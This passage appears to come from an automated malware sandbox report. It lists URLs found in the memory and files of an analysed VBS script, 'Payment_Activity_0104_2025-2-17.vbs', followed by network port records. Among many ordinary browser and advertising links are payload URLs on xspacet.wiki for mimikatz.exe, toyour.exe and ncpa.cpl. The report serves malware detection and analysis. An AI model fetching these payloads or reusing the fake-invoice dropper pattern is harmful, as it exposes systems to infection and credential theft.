Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 000004.log.5.dr	String found in binary or memory: https://js-sec.indexww.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://js-sec.indexww.com/um/ixmatch.html
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://js.stripe.com
Source: 000003.log4.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://js.stripe.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://js.stripe.com/v3/m-outer-3437aaddcdf6922d623e172c2d6f9278.html#url=https%3A%2F%2Fwww.scribd.
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 000003.log8.5.dr	String found in binary or memory: https://launchpad-wrapper.privacymanager.io/1d0fec24-9622-4770-a71d-6dd2fd3e4842/launchpad-liveramp.
Source: 000003.log8.5.dr	String found in binary or memory: https://launchpad.privacymanager.io/latest/launchpad.bundle.js
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://m.kugou.com/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 000003.log8.5.dr	String found in binary or memory: https://m.stripe.network
Source: 000004.log.5.dr	String found in binary or memory: https://m.stripe.network/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://m.stripe.network/inner.html#url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-S
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://m.vk.com/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://music.amazon.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://music.apple.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://music.yandex.com
Source: qmgr.db.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: 000004.log.5.dr	String found in binary or memory: https://onetag-sys.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://onetag-sys.com/usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://open.spotify.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 000003.log8.5.dr	String found in binary or memory: https://p.ad.gt/api/v1/p/474
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 000004.log.5.dr	String found in binary or memory: https://rtb.gumgum.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://rtb.gumgum.com/usync/prbds2s?gdpr=&gdpr_consent=&us_privacy=1-N-&r=https%3A%2F%2Fs2s.t13.io%
Source: 000003.log8.5.dr	String found in binary or memory: https://rules.quantcount.com/rules-p-UeXruRVtZz7w6.js
Source: Favicons.5.dr	String found in binary or memory: https://s-f.scribdassets.com/scribd.ico?b2cfc7e06?v=5
Source: 000004.log.5.dr	String found in binary or memory: https://s.amazon-adsystem.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comVP/
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comVPv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comXANDR_PANID/_
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comXANDR_PANIDv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comaudit_p/o/
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comaudit_pv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comkhaos_p/p4
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comkhaos_pv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.compb_rtb_ev_part/=4
Source: Cookies.9.dr	String found in binary or memory: https://scribd.compb_rtb_ev_partv10/
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comreceive-cookie-deprecation/
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comreceive-cookie-deprecation/b
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comreceive-cookie-deprecation/cD
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comreceive-cookie-deprecationv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comtluidp/BG
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comtluidpv10
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comts/d#
Source: Cookies.9.dr	String found in binary or memory: https://scribd.comtsv10
Source: 000003.log8.5.dr	String found in binary or memory: https://secure.cdn.fastclick.net/js/pubcid/latest/pubcid.min.js
Source: 000003.log8.5.dr	String found in binary or memory: https://secure.quantserve.com/quant.js
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://sync.cootlogix.com
Source: 000004.log.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://sync.cootlogix.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://sync.cootlogix.com/api/sync/iframe/?cid=&gdpr=0&gdpr_consent=&us_privacy=1-N-
Source: 000004.log.5.dr	String found in binary or memory: https://sync.intentiq.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=148
Source: 000003.log8.5.dr	String found in binary or memory: https://tags.crwdcntrl.net/lt/c/16576/sync.min.js
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://tidal.com/
Source: 000004.log.5.dr	String found in binary or memory: https://tpc.googlesyndication.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://tpc.googlesyndication.com/sodar/LVEN46HQ.html
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://twitter.com/
Source: 000004.log.5.dr	String found in binary or memory: https://u.openx.net/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://u.openx.net/w/1.0/cm?cc=1&id=4241c706-9fd2-4ae4-b2d7-c9f8d34e773c&ph=f4cc9fb1-057b-4e7a-b393
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://u.openx.net/w/1.0/pd?cc=1&us_privacy=1-N-
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.5.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.5.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.5.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 000004.log.5.dr	String found in binary or memory: https://usr.undertone.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://usr.undertone.com/userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://vibe.naver.com/today
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://web.telegram.org/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://web.whatsapp.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.deezer.com/
Source: content_new.js.5.dr, content.js.5.dr	String found in binary or memory: https://www.google.com/chrome
Source: Web Data.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.instagram.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.last.fm/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.messenger.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.office.com
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 000003.log8.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://www.scribd.com
Source: 000003.log4.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://www.scribd.com/
Source: wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.scribd.com/document/806
Source: Session_13384336793195297.5.dr, WebAssistDatabase.5.dr, History.5.dr	String found in binary or memory: https://www.scribd.com/document/806838445/Bank-Statement
Source: wscript.exe, 00000000.00000002.2411820304.0000017E48A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.scribd.com/document/806838445/Bank-Statement&
Source: History.5.dr	String found in binary or memory: https://www.scribd.com/document/806838445/Bank-StatementBank
Source: wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.scribd.com/document/806838445/Bank-StatementP
Source: wscript.exe, 00000000.00000002.2411820304.0000017E489F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.scribd.com/document/806838445/Bank-Statementz
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.tiktok.com/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://www.youtube.com
Source: 000004.log.5.dr	String found in binary or memory: https://x.bidswitch.net/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://x.bidswitch.net/ul_cb/sync?ssp=insticator&us_privacy=1-N-&gdpr=0
Source: wscript.exe, wscript.exe, 00000000.00000002.2412584821.0000017E4A850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xspacet.wiki/stein/mimika
Source: wscript.exe, 00000000.00000002.2411820304.0000017E489F6000.00000004.00000020.00020000.00000000.sdmp, Payment_Activity_0104_2025-2-17.vbs	String found in binary or memory: https://xspacet.wiki/stein/mimikatz.exe
Source: wscript.exe, wscript.exe, 00000000.00000002.2412584821.0000017E4A850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xspacet.wiki/stein/ncpa.c
Source: wscript.exe, 00000000.00000002.2411820304.0000017E48A2C000.00000004.00000020.00020000.00000000.sdmp, Payment_Activity_0104_2025-2-17.vbs	String found in binary or memory: https://xspacet.wiki/stein/ncpa.cpl
Source: wscript.exe, wscript.exe, 00000000.00000002.2412584821.0000017E4A850000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2411820304.0000017E48A68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xspacet.wiki/stein/toyour
Source: wscript.exe, 00000000.00000002.2411820304.0000017E489F6000.00000004.00000020.00020000.00000000.sdmp, Payment_Activity_0104_2025-2-17.vbs	String found in binary or memory: https://xspacet.wiki/stein/toyour.exe
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
